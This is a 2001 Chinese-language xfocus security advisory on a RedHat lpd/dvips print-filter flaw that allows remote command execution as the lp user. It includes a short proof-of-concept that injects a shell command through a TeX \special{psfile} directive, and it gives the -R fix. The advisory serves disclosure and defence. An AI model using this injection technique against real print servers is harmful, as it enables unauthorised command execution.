xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

lpd可通过DVI printfilter配置错误远程执行命令


发布时间:2001-08-30
更新时间:2001-08-30
严重程度:
威胁程度:远程管理员权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
RedHat Linux 7.1
RedHat Linux 7.0
RedHat Linux 6.2
详细描述
'dvips'是转化DVI文档为PostScript的工具,是TeteX文本格式化包的一个
选项,当系统安装了LPRnG和TeTeX并使用后,'dvips'在当DVI被打印时调用
'lpd'。

一些系统中'dvips'调用时,不使用'-R'的安全模式,这样当远程用户对'lpd'
提交.dvi打印时,Lprng会将请求提送给dvi-to-ps.fpi进行转换,恶意用户可以
构造特殊.dvi文件,在Psfile中包含shell元字符命令,就可以以Lp用户的身份
执行命令。

测试代码
cat >exploit.tex <<EOF
\special{psfile="`command to be executed`"}
\end
EOF
tex exploit.tex
lpr exploit.dvi

解决方案
临时解决方法:

编辑文件:
/usr/lib/rhs/rhs-printfilters/dvi-to-ps.fpi

找到下列语句:
dvips -f $DVIPS_OPTIONS < $TMP_FILE

修改成:

dvips -R -f $DVIPS_OPTIONS < $TMP_FILE

相关信息
zen-parse (zen-parse@gmx.net)